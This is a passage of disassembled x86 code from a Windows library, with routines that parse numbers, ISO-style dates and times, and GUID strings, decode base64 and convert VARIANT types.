		jz	short loc_69B2FE39
		cmp	[ebp+arg_8], 1Ah
		jnz	short loc_69B2FE5B
		cmp	eax, 13h
		jnz	short loc_69B2FE68
		test	bl, bl
		jz	short loc_69B2FE56
		lea	edi, [ebp+var_30]
		jmp	short loc_69B2FE6A
; ---------------------------------------------------------------------------


loc_69B2FE56:				; CODE XREF: sub_69B2FD9A+B5j
		lea	edi, [ebp+var_58]
		jmp	short loc_69B2FE6A
; ---------------------------------------------------------------------------


loc_69B2FE5B:				; CODE XREF: sub_69B2FD9A+ACj
		cmp	eax, 14h
		jnz	short loc_69B2FE68
		lea	edi, [ebp+var_84]
		jmp	short loc_69B2FE6A
; ---------------------------------------------------------------------------


loc_69B2FE68:				; CODE XREF: sub_69B2FD9A+B1j
					; sub_69B2FD9A+C4j
		jg	short loc_69B2FE0C


loc_69B2FE6A:				; CODE XREF: sub_69B2FD9A+BAj
					; sub_69B2FD9A+BFj ...
		xor	ebx, ebx
		test	eax, eax
		jle	short loc_69B2FE13


loc_69B2FE70:				; CODE XREF: sub_69B2FD9A+100j
		mov	dx, [ecx]
		inc	ecx
		inc	ecx
		cmp	dx, 30h
		jb	short loc_69B2FE0C
		cmp	dx, 39h
		ja	short loc_69B2FE0C
		test	edi, edi
		jz	short loc_69B2FE97
		mov	si, [edi]
		inc	edi
		inc	edi
		cmp	dx, si
		ja	loc_69B2FE0C
		jnb	short loc_69B2FE97
		xor	edi, edi


loc_69B2FE97:				; CODE XREF: sub_69B2FD9A+E9j
					; sub_69B2FD9A+F9j
		inc	ebx
		cmp	ebx, eax
		jl	short loc_69B2FE70
		jmp	loc_69B2FE13
sub_69B2FD9A	endp

; ---------------------------------------------------------------------------
		align 4
a922337203685_0:			; DATA XREF: sub_69B2FD9A+3Ao
		unicode	0, <9223372036854775807>,0
a92233720368547:			; DATA XREF: sub_69B2FD9A+2Do
		unicode	0, <9223372036854775808>,0
a18446744073709:			; DATA XREF: sub_69B2FD9A+1Bo
		unicode	0, <18446744073709551615>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2FF1E(int, int, int, DATE *pdateOut, int)

sub_69B2FF1E	proc near		; CODE XREF: sub_69B30C4F+114p
					; sub_69B6527E+1Dp

SystemTime	= SYSTEMTIME ptr -1Ch
FileTime	= _FILETIME ptr	-8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
pdateOut	= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	eax, eax
		lea	edi, [ebp+SystemTime]
		stosd
		stosd
		stosd
		stosd
		stosw
		mov	edi, [ebp+arg_4]
		push	edi
		push	esi
		mov	[ebp+SystemTime.wMonth], 1
		mov	[ebp+SystemTime.wDay], 1
		call	sub_69B2FB5A
		mov	ebx, eax
		sub	eax, esi
		sar	eax, 1
		sub	edi, eax
		cmp	[ebp+arg_8], 1Fh
		jge	loc_69B3002C
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		mov	eax, ebx
		call	sub_69B2FB95
		mov	ecx, eax
		sub	ecx, ebx
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 8
		jnz	loc_69B30267
		mov	ecx, [ebp+arg_0]
		cmp	ecx, 64h
		jb	loc_69B30267
		mov	[ebp+SystemTime.wYear],	cx
		sub	edi, 4
		cmp	word ptr [eax],	2Dh
		mov	ebx, eax
		jnz	short loc_69B3000E
		lea	ecx, [ebp+arg_0]
		push	ecx
		dec	edi
		push	edi
		add	eax, 2
		call	sub_69B2FB95
		mov	ecx, eax
		sub	ecx, ebx
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 6
		jnz	loc_69B30267
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	loc_69B30267
		cmp	ecx, 0Ch
		ja	loc_69B30267
		dec	edi
		mov	[ebp+SystemTime.wMonth], cx
		dec	edi
		cmp	word ptr [eax],	2Dh
		mov	ebx, eax
		jnz	short loc_69B3000E
		lea	ecx, [ebp+arg_0]
		push	ecx
		dec	edi
		push	edi
		add	eax, 2
		call	sub_69B2FB95
		mov	ecx, eax
		sub	ecx, ebx
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 6
		jnz	loc_69B30267
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	loc_69B30267
		cmp	ecx, 1Fh
		ja	loc_69B30267
		dec	edi
		mov	[ebp+SystemTime.wDay], cx
		dec	edi
		mov	ebx, eax


loc_69B3000E:				; CODE XREF: sub_69B2FF1E+74j
					; sub_69B2FF1E+B4j
		test	edi, edi
		jz	loc_69B30286
		cmp	[ebp+arg_8], 11h
		jl	short loc_69B3003E
		cmp	word ptr [eax],	54h
		jnz	loc_69B30267
		lea	ebx, [eax+2]
		dec	edi
		jmp	short loc_69B3003E
; ---------------------------------------------------------------------------


loc_69B3002C:				; CODE XREF: sub_69B2FF1E+39j
		mov	[ebp+SystemTime.wYear],	76Bh
		mov	[ebp+SystemTime.wMonth], 0Ch
		mov	[ebp+SystemTime.wDay], 1Eh


loc_69B3003E:				; CODE XREF: sub_69B2FF1E+FCj
					; sub_69B2FF1E+10Cj
		test	edi, edi
		jz	loc_69B30286
		cmp	[ebp+arg_8], 11h
		jl	loc_69B30286
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		mov	eax, ebx
		call	sub_69B2FB95
		mov	esi, eax
		sub	eax, ebx
		and	eax, 0FFFFFFFEh
		cmp	eax, 4
		jnz	loc_69B30267
		mov	eax, [ebp+arg_0]
		cmp	eax, 18h
		ja	loc_69B30267
		dec	edi
		mov	[ebp+SystemTime.wHour],	ax
		dec	edi
		cmp	word ptr [esi],	3Ah
		mov	ebx, esi
		jnz	loc_69B3016D
		lea	eax, [ebp+arg_0]
		push	eax
		dec	edi
		push	edi
		lea	eax, [esi+2]
		call	sub_69B2FB95
		mov	esi, eax
		sub	eax, ebx
		and	eax, 0FFFFFFFEh
		cmp	eax, 6
		jnz	loc_69B30267
		mov	eax, [ebp+arg_0]
		cmp	eax, 3Bh
		ja	loc_69B30267
		dec	edi
		mov	[ebp+SystemTime.wMinute], ax
		dec	edi
		cmp	word ptr [esi],	3Ah
		mov	ebx, esi
		jnz	loc_69B3016D
		lea	eax, [ebp+arg_0]
		push	eax
		dec	edi
		push	edi
		lea	eax, [esi+2]
		call	sub_69B2FB95
		mov	esi, eax
		sub	eax, ebx
		and	eax, 0FFFFFFFEh
		cmp	eax, 6
		jnz	loc_69B30267
		mov	eax, [ebp+arg_0]
		cmp	eax, 3Bh
		ja	loc_69B30267
		dec	edi
		mov	[ebp+SystemTime.wSecond], ax
		dec	edi
		cmp	word ptr [esi],	2Eh
		mov	ebx, esi
		jnz	short loc_69B3016D
		lea	eax, [ebp+arg_0]
		push	eax
		dec	edi
		push	edi
		lea	eax, [esi+2]
		call	sub_69B2FB95
		mov	esi, eax
		mov	ecx, esi
		sub	ecx, ebx
		lea	eax, [ecx-2]
		push	3
		sar	eax, 1
		pop	edx
		sub	edx, eax
		cmp	edx, 2
		jg	loc_69B30267
		mov	eax, [ebp+arg_0]
		cmp	eax, 3B9AC9FFh
		ja	loc_69B30267
		xor	ebx, ebx
		inc	ebx
		sar	ecx, 1
		sub	ebx, ecx
		add	edi, ebx
		test	edx, edx
		mov	ebx, esi
		jle	short loc_69B30153
		mov	ecx, edx
		xor	edx, edx


loc_69B30146:				; CODE XREF: sub_69B2FF1E+22Ej
		lea	eax, [eax+eax*4]
		shl	eax, 1
		dec	ecx
		jnz	short loc_69B30146
		mov	[ebp+arg_0], eax
		test	edx, edx


loc_69B30153:				; CODE XREF: sub_69B2FF1E+222j
		jge	short loc_69B30169
		neg	edx
		mov	[ebp+arg_0], edx


loc_69B3015A:				; CODE XREF: sub_69B2FF1E+246j
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		dec	[ebp+arg_0]
		jnz	short loc_69B3015A
		mov	[ebp+arg_0], eax


loc_69B30169:				; CODE XREF: sub_69B2FF1E:loc_69B30153j
		mov	[ebp+SystemTime.wMilliseconds],	ax


loc_69B3016D:				; CODE XREF: sub_69B2FF1E+166j
					; sub_69B2FF1E+1A2j ...
		cmp	[ebp+SystemTime.wHour],	18h
		jnz	short loc_69B30195
		cmp	[ebp+SystemTime.wMinute], 0
		ja	loc_69B30267
		cmp	[ebp+SystemTime.wSecond], 0
		ja	loc_69B30267
		cmp	[ebp+SystemTime.wMilliseconds],	0
		ja	loc_69B30267


loc_69B30195:				; CODE XREF: sub_69B2FF1E+254j
		test	edi, edi
		jz	loc_69B30286
		cmp	[ebp+arg_8], 12h
		jz	short loc_69B301AD
		cmp	[ebp+arg_8], 20h
		jnz	loc_69B30286


loc_69B301AD:				; CODE XREF: sub_69B2FF1E+283j
		mov	ax, [esi]
		cmp	ax, 2Bh
		jnz	loc_69B3026E
		mov	[ebp+arg_8], 1


loc_69B301C1:				; CODE XREF: sub_69B2FF1E+35Aj
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	ds:SystemTimeToFileTime	; SystemTimeToFileTime
		test	eax, eax
		jz	loc_69B30267
		lea	eax, [ebp+arg_0]
		push	eax
		dec	edi
		push	edi
		lea	eax, [esi+2]
		call	sub_69B2FB95
		mov	ecx, eax
		sub	ecx, ebx
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 6
		jnz	short loc_69B30267
		cmp	word ptr [eax],	3Ah
		mov	esi, [ebp+arg_0]
		mov	ebx, eax
		jnz	short loc_69B30267
		lea	ecx, [ebp+arg_0]
		push	ecx
		add	edi, 0FFFFFFFDh
		push	edi
		add	eax, 2
		call	sub_69B2FB95
		mov	ecx, eax
		sub	ecx, ebx
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 6
		jnz	short loc_69B30267
		push	0
		mov	ebx, eax
		push	3Ch
		xor	eax, eax
		push	eax
		push	esi
		call	sub_69B220C8
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	esi, edx
		xor	edx, edx
		add	ecx, eax
		mov	eax, [ebp+arg_8]
		adc	esi, edx
		cdq
		push	edx
		push	eax
		push	esi
		push	ecx
		call	sub_69B220C8
		push	0
		push	23C34600h
		push	edx
		push	eax
		call	sub_69B220C8
		add	[ebp+FileTime.dwLowDateTime], eax
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		adc	[ebp+FileTime.dwHighDateTime], edx
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		call	ds:FileTimeToSystemTime	; FileTimeToSystemTime
		test	eax, eax
		jnz	short loc_69B30286


loc_69B30267:				; CODE XREF: sub_69B2FF1E+55j
					; sub_69B2FF1E+61j ...
		mov	eax, 80004005h
		jmp	short loc_69B30295
; ---------------------------------------------------------------------------


loc_69B3026E:				; CODE XREF: sub_69B2FF1E+296j
		cmp	ax, 2Dh
		jnz	short loc_69B3027D
		or	[ebp+arg_8], 0FFFFFFFFh
		jmp	loc_69B301C1
; ---------------------------------------------------------------------------


loc_69B3027D:				; CODE XREF: sub_69B2FF1E+354j
		cmp	ax, 5Ah
		jnz	short loc_69B30286
		lea	ebx, [esi+2]


loc_69B30286:				; CODE XREF: sub_69B2FF1E+F2j
					; sub_69B2FF1E+122j ...
		push	[ebp+pdateOut]	; pdateOut
		lea	eax, [ebp+SystemTime]
		push	0		; dwFlags
		push	eax		; pudateIn
		call	VarDateFromUdate


loc_69B30295:				; CODE XREF: sub_69B2FF1E+34Ej
		mov	ecx, [ebp+arg_10]
		test	ecx, ecx
		jz	short loc_69B3029E
		mov	[ecx], ebx


loc_69B3029E:				; CODE XREF: sub_69B2FF1E+37Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B2FF1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B302A5	proc near		; CODE XREF: sub_69B3078B+5Dp
					; sub_69B30C4F+103p ...

var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		xor	ebx, ebx
		jmp	short loc_69B302DE
; ---------------------------------------------------------------------------


loc_69B302C2:				; CODE XREF: sub_69B302A5+3Cj
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		dec	[ebp+arg_4]
		cmp	ax, bx
		jz	short loc_69B302E3
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jnz	short loc_69B302E3
		add	[ebp+arg_0], 2


loc_69B302DE:				; CODE XREF: sub_69B302A5+1Bj
		cmp	[ebp+arg_4], ebx
		jnz	short loc_69B302C2


loc_69B302E3:				; CODE XREF: sub_69B302A5+29j
					; sub_69B302A5+33j
		mov	eax, [ebp+arg_0]
		sub	eax, esi
		and	eax, 0FFFFFFFEh
		cmp	eax, 48h
		jnz	loc_69B303D6
		push	2Dh
		pop	eax
		cmp	[esi+10h], ax
		jnz	loc_69B303D6
		cmp	[esi+1Ah], ax
		jnz	loc_69B303D6
		cmp	[esi+24h], ax
		jnz	loc_69B303D6
		cmp	[esi+2Eh], ax
		jnz	loc_69B303D6
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	8
		push	esi
		call	sub_69B2FBDE
		cmp	eax, ebx
		jnz	loc_69B303DB
		mov	al, [ebp+var_14]
		mov	cl, [ebp+var_11]
		mov	[ebp+var_11], al
		mov	al, [ebp+var_13]
		mov	[ebp+var_14], cl
		mov	cl, [ebp+var_12]
		mov	[ebp+var_12], al
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		lea	eax, [esi+12h]
		push	eax
		mov	[ebp+var_13], cl
		call	sub_69B2FBDE
		cmp	eax, ebx
		jnz	short loc_69B303DB
		mov	al, [ebp+var_10]
		mov	cl, [ebp+var_F]
		mov	[ebp+var_F], al
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		push	4
		lea	eax, [esi+1Ch]
		push	eax
		mov	[ebp+var_10], cl
		call	sub_69B2FBDE
		cmp	eax, ebx
		jnz	short loc_69B303DB
		mov	al, [ebp+var_E]
		mov	cl, [ebp+var_D]
		mov	[ebp+var_D], al
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [esi+26h]
		push	eax
		mov	[ebp+var_E], cl
		call	sub_69B2FBDE
		cmp	eax, ebx
		jnz	short loc_69B303DB
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_A]
		push	eax
		push	0Ch
		add	esi, 30h
		push	esi
		call	sub_69B2FBDE
		cmp	eax, ebx
		jnz	short loc_69B303DB
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+var_14]
		movsd
		movsd
		movsd
		movsd
		pop	edi
		jmp	short loc_69B303DB
; ---------------------------------------------------------------------------


loc_69B303D6:				; CODE XREF: sub_69B302A5+49j
					; sub_69B302A5+56j ...
		mov	eax, 80004005h


loc_69B303DB:				; CODE XREF: sub_69B302A5+8Dj
					; sub_69B302A5+C1j ...
		mov	ecx, [ebp+arg_C]
		pop	esi
		cmp	ecx, ebx
		pop	ebx
		jz	short loc_69B303E9
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx


loc_69B303E9:				; CODE XREF: sub_69B302A5+13Dj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		leave
		retn	10h
sub_69B302A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B303F8	proc near		; CODE XREF: sub_69B30856+97p
					; sub_69B30856+FBp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		push	ebx
		jle	short loc_69B30477
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	short loc_69B3040F
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jz	short loc_69B30477


loc_69B3040F:				; CODE XREF: sub_69B303F8+Fj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		mov	ebx, ecx
		jz	short loc_69B30453
		push	esi
		lea	esi, [eax+ecx*2]
		cmp	eax, esi
		push	edi
		mov	edi, eax
		jnb	short loc_69B30451


loc_69B30423:				; CODE XREF: sub_69B303F8+3Fj
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B3044D
		inc	edi
		inc	edi
		dec	ebx
		cmp	edi, esi
		jb	short loc_69B30423
		jmp	short loc_69B3044D
; ---------------------------------------------------------------------------


loc_69B3043B:				; CODE XREF: sub_69B303F8+57j
		dec	esi
		xor	eax, eax
		dec	esi
		mov	ax, [esi]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B30451
		dec	ebx


loc_69B3044D:				; CODE XREF: sub_69B303F8+38j
					; sub_69B303F8+41j
		cmp	edi, esi
		jb	short loc_69B3043B


loc_69B30451:				; CODE XREF: sub_69B303F8+29j
					; sub_69B303F8+52j
		pop	edi
		pop	esi


loc_69B30453:				; CODE XREF: sub_69B303F8+1Ej
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	short loc_69B30465
		cmp	[ebp+arg_8], ebx
		jle	short loc_69B30465
		mov	eax, 0C00CE222h
		jmp	short loc_69B30479
; ---------------------------------------------------------------------------


loc_69B30465:				; CODE XREF: sub_69B303F8+5Fj
					; sub_69B303F8+64j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jz	short loc_69B30477
		cmp	[ebp+arg_C], ebx
		jge	short loc_69B30477
		mov	eax, 0C00CE221h
		jmp	short loc_69B30479
; ---------------------------------------------------------------------------


loc_69B30477:				; CODE XREF: sub_69B303F8+9j
					; sub_69B303F8+15j ...
		xor	eax, eax


loc_69B30479:				; CODE XREF: sub_69B303F8+6Bj
					; sub_69B303F8+7Dj
		pop	ebx
		pop	ebp
		retn	10h
sub_69B303F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3047E	proc near		; CODE XREF: sub_69B304F3+53p
					; sub_69B304F3+72p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_8]
		and	[ebp+var_4], 0
		push	edi
		xor	edi, edi
		inc	edi
		cmp	eax, 5
		jle	short loc_69B3049B
		mov	[ebp+var_4], 80070057h
		jmp	short loc_69B304EB
; ---------------------------------------------------------------------------


loc_69B3049B:				; CODE XREF: sub_69B3047E+12j
		dec	eax
		jz	short loc_69B304AB


loc_69B3049E:				; CODE XREF: sub_69B3047E+26j
		lea	edi, [edi+edi*4]
		shl	edi, 1
		dec	eax
		jnz	short loc_69B3049E
		test	di, di
		jbe	short loc_69B304EB


loc_69B304AB:				; CODE XREF: sub_69B3047E+1Ej
		push	ebx
		push	esi


loc_69B304AD:				; CODE XREF: sub_69B3047E+60j
		movzx	eax, word ptr [ebp+arg_4]
		movzx	ebx, di
		cdq
		idiv	ebx
		mov	esi, eax
		cmp	si, 9
		ja	short loc_69B304E2
		mov	ecx, [ebp+arg_0]
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B88E7C
		imul	esi, edi
		mov	eax, ebx
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		sub	[ebp+arg_4], esi
		mov	edi, eax
		test	di, di
		ja	short loc_69B304AD
		jmp	short loc_69B304E9
; ---------------------------------------------------------------------------


loc_69B304E2:				; CODE XREF: sub_69B3047E+3Fj
		mov	[ebp+var_4], 80070057h


loc_69B304E9:				; CODE XREF: sub_69B3047E+62j
		pop	esi
		pop	ebx


loc_69B304EB:				; CODE XREF: sub_69B3047E+1Bj
					; sub_69B3047E+2Bj
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	0Ch
sub_69B3047E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B304F3	proc near		; CODE XREF: sub_69B30E5D+191p
					; sub_69B6511B+15p

var_18		= qword	ptr -18h

		push	24h
		push	offset dword_69B30650
		call	sub_69B19C5C
		wait
		and	dword ptr [ebp-4], 0
		call	sub_69B88D77
		mov	esi, eax
		mov	[ebp-1Ch], esi
		xor	eax, eax
		lea	edi, [ebp-30h]
		stosd
		stosd
		stosd
		stosd
		stosw
		lea	eax, [ebp-30h]
		push	eax		; pudateOut
		push	0		; dwFlags
		mov	eax, [ebp+10h]
		fld	qword ptr [eax]
		push	ecx
		push	ecx		; dateIn
		fstp	[esp+18h+var_18]
		call	VarUdateFromDate
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	loc_69B30617
		cmp	dword ptr [ebp+0Ch], 1Fh
		jge	short loc_69B305A3
		push	4
		push	dword ptr [ebp-30h]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	loc_69B30617
		push	2Dh
		mov	ecx, esi
		call	sub_69B88E7C
		push	2
		push	dword ptr [ebp-2Eh]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	loc_69B30617
		push	2Dh
		mov	ecx, esi
		call	sub_69B88E7C
		push	2
		push	dword ptr [ebp-2Ah]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	loc_69B30617
		cmp	dword ptr [ebp+0Ch], 11h
		jl	short loc_69B3060C
		push	54h
		mov	ecx, esi
		call	sub_69B88E7C


loc_69B305A3:				; CODE XREF: sub_69B304F3+4Bj
		cmp	dword ptr [ebp+0Ch], 11h
		jl	short loc_69B3060C
		push	2
		push	dword ptr [ebp-28h]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	short loc_69B30617
		push	3Ah
		mov	ecx, esi
		call	sub_69B88E7C
		push	2
		push	dword ptr [ebp-26h]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	short loc_69B30617
		push	3Ah
		mov	ecx, esi
		call	sub_69B88E7C
		push	2
		push	dword ptr [ebp-24h]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	short loc_69B30617
		push	2Eh
		mov	ecx, esi
		call	sub_69B88E7C
		push	3
		push	dword ptr [ebp-22h]
		push	esi
		call	sub_69B3047E
		mov	[ebp-34h], eax
		test	eax, eax
		jnz	short loc_69B30617


loc_69B3060C:				; CODE XREF: sub_69B304F3+A5j
					; sub_69B304F3+B4j
		push	esi
		call	sub_69B2F0E0
		mov	ecx, [ebp+8]
		mov	[ecx], eax


loc_69B30617:				; CODE XREF: sub_69B304F3+41j
					; sub_69B304F3+5Dj ...
		wait
		jmp	short loc_69B30635
; ---------------------------------------------------------------------------


loc_69B3061A:				; DATA XREF: .text:69B30654o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B30623:				; DATA XREF: .text:69B30658o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B30635:				; CODE XREF: sub_69B304F3+125j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_69B30645
		mov	eax, [ebp+8]
		and	dword ptr [eax], 0


loc_69B30645:				; CODE XREF: sub_69B304F3+14Aj
		mov	eax, [ebp-34h]
		call	sub_69B1853C
		retn	0Ch
sub_69B304F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B30650	dd 0FFFFFFFFh			dd offset loc_69B3061A
		dd offset loc_69B30623

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3065C	proc near		; CODE XREF: sub_69B30856+E0p

var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	edx, [ebp+arg_8]
		and	[ebp+var_C], 0
		test	edx, edx
		mov	[ebp+var_4], eax
		jnz	short loc_69B30687
		mov	[ebp+var_C], 8007000Eh
		jmp	loc_69B30770
; ---------------------------------------------------------------------------


loc_69B30687:				; CODE XREF: sub_69B3065C+1Dj
		push	edi
		push	40h
		pop	ecx
		or	eax, 0FFFFFFFFh
		lea	edi, [ebp+var_10C]
		rep stosd
		xor	al, al
		mov	ecx, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		push	esi


loc_69B3069E:				; CODE XREF: sub_69B3065C+52j
		movzx	esi, word ptr [ecx]
		mov	[ebp+esi+var_10C], al
		inc	al
		inc	ecx
		inc	ecx
		cmp	al, 40h
		jb	short loc_69B3069E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ax, [eax]
		xor	edi, edi
		xor	esi, esi
		test	ax, ax
		jz	short loc_69B3073D
		mov	[ebp+arg_0], 0FFFFFFF8h


loc_69B306C9:				; CODE XREF: sub_69B3065C+DFj
		mov	ecx, [ebp+arg_4]
		dec	[ebp+arg_4]
		test	ecx, ecx
		jz	short loc_69B3073D
		cmp	ax, 0Ah
		jz	short loc_69B3072E
		cmp	ax, 0Dh
		jz	short loc_69B3072E
		cmp	ax, 20h
		jz	short loc_69B3072E
		cmp	ax, 9
		jz	short loc_69B3072E
		cmp	ax, 3Dh
		jz	short loc_69B3073D
		cmp	ax, 7Fh
		ja	loc_69B30782
		movzx	eax, ax
		mov	al, [ebp+eax+var_10C]
		cmp	al, 0FFh
		jz	short loc_69B30782
		add	[ebp+arg_0], 6
		movzx	eax, al
		shl	edi, 6
		add	esi, 6
		or	edi, eax
		cmp	esi, 8
		jl	short loc_69B3072E
		mov	ecx, [ebp+arg_0]
		mov	eax, edi
		shr	eax, cl
		sub	esi, 8
		mov	[edx], al
		inc	edx
		sub	[ebp+arg_0], 8


loc_69B3072E:				; CODE XREF: sub_69B3065C+7Bj
					; sub_69B3065C+81j ...
		add	[ebp+var_8], 2
		mov	eax, [ebp+var_8]
		mov	ax, [eax]
		test	ax, ax
		jnz	short loc_69B306C9


loc_69B3073D:				; CODE XREF: sub_69B3065C+64j
					; sub_69B3065C+75j ...
		sub	edx, [ebp+arg_8]
		cmp	ax, 3Dh
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edx
		mov	edx, [ebp+var_8]
		jnz	short loc_69B30758
		xor	esi, esi


loc_69B30750:				; CODE XREF: sub_69B3065C+FAj
		inc	edx
		inc	edx
		cmp	word ptr [edx],	3Dh
		jz	short loc_69B30750


loc_69B30758:				; CODE XREF: sub_69B3065C+F0j
		test	esi, esi
		jz	short loc_69B30765
		lea	ecx, [esi-8]
		shr	edi, cl
		test	edi, edi
		jnz	short loc_69B30782


loc_69B30765:				; CODE XREF: sub_69B3065C+FEj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_69B3076E
		mov	[eax], edx


loc_69B3076E:				; CODE XREF: sub_69B3065C+10Ej
					; sub_69B3065C+12Dj
		pop	esi
		pop	edi


loc_69B30770:				; CODE XREF: sub_69B3065C+26j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_C]
		call	sub_69B1B9F6
		leave
		retn	14h
; ---------------------------------------------------------------------------


loc_69B30782:				; CODE XREF: sub_69B3065C+99j
					; sub_69B3065C+ABj ...
		mov	[ebp+var_C], 80070057h
		jmp	short loc_69B3076E
sub_69B3065C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3078B(int, VARIANTARG *pvarSrc, VARIANTARG *pvarg)

sub_69B3078B	proc near		; CODE XREF: sub_69B4CEA8+B5p

var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
pvarSrc		= dword	ptr  0Ch
pvarg		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+pvarg]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		lea	eax, [edi+edi*2]
		movzx	eax, ds:word_69B25F08[eax*4]
		push	eax		; vt
		push	1		; wFlags
		push	409h		; lcid
		push	[ebp+pvarSrc]	; pvarSrc
		push	esi		; pvargDest
		call	VariantChangeTypeEx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B30837
		cmp	edi, 0Fh
		jz	short loc_69B30820
		cmp	edi, 13h
